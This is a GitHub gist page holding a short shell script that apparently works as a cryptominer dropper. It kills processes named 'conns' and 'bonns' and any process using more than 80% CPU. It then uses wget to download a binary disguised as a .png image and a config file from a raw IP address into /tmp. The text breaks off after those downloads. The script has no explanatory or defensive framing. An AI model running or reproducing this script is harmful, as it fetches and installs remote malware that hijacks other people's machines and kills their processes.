Skip to content

Instantly share code, notes, and snippets.

View wizardbyron's full-sized avatar
✍️
Keep Coding

Gu Yu wizardbyron

✍️
Keep Coding
View GitHub Profile
#!/bin/sh
pkill conns
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print “: " $2}'|sh
pkill bonns
ps -fe|grep donns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn
wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf